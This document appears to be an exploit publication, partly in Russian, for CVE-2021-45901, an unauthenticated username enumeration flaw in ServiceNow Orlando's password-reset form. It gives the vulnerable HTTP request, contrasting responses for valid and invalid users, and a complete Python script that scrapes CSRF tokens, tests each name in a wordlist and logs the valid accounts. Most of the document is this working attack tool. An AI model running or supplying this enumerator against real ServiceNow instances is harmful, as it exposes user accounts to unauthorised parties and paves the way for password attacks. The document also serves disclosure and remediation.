
Автоматизированный эксплойт для перебора имён пользователей в ServiceNow (CVE-2021-45901), использующий обнаружение расхождений в HTTP-ответах через форму сброса пароля.

enumSNOWUsers.py - Переборщик пользователей SNOW
Уязвимость перебора имен пользователей, обнаруженная в приложении ServiceNow
Опубликовано: Version: 1.0
Вендор: ServiceNow
Продукт: ServiceNow (https://www.servicenow.com/)
Затронутая версия: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)
ServiceNow — американская компания-разработчик программного обеспечения, базирующаяся в Санта-Кларе, Калифорния. Она развивает облачную вычислительную платформу, помогающую компаниям управлять цифровыми рабочими процессами для корпоративных операций.
Перебор имен пользователей (без аутентификации)
CVE: CVE-2021-45901
CWE: CWE-200: Раскрытие конфиденциальной информации неавторизованному субъекту
Уязвимость, обнаруженная в ServiceNow (Orlando), позволяет успешно перебирать имена пользователей с помощью списка слов. Используя неаутентифицированную сессию и перейдя к форме сброса пароля, можно определить действительное имя пользователя. Это достигается анализом данных ответа HTTP POST, первоначально инициируемого веб-формой сброса пароля. Этот ответ различается в зависимости от существования имени пользователя.
ПРИМЕЧАНИЕ: Для автоматизации этого процесса требуются действительные сессионный cookie (JSESSIONID), CSRF-токен (pwd_csrf_token) и X-UserToken (X-UserToken). Все эти объекты можно извлечь из клиентского кода.
CWE-203: Наблюдаемое расхождение
Ниже показаны наблюдаемые расхождения в данных ответа HTTP POST, используемые для определения действительного и недействительного имени пользователя.
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default
Response (Valid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Response (Invalid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Обновитесь до версии «Rome»
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid
1. JSESSION (anonymous)
2. X-UserToken
3. CSRF Token
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Decription: SNOW Username Enumerator |")
print ("| Usage : "+sys.argv[0]+" |")
print ("| Prequisite: \'users.txt\' needs to contain list of users |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] Brute forcing ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}
data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}
payload_str = urllib.parse.urlencode(data, safe=":+")
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)
if __name__ == "__main__":
main ()
Victor Hanna из Exploit Security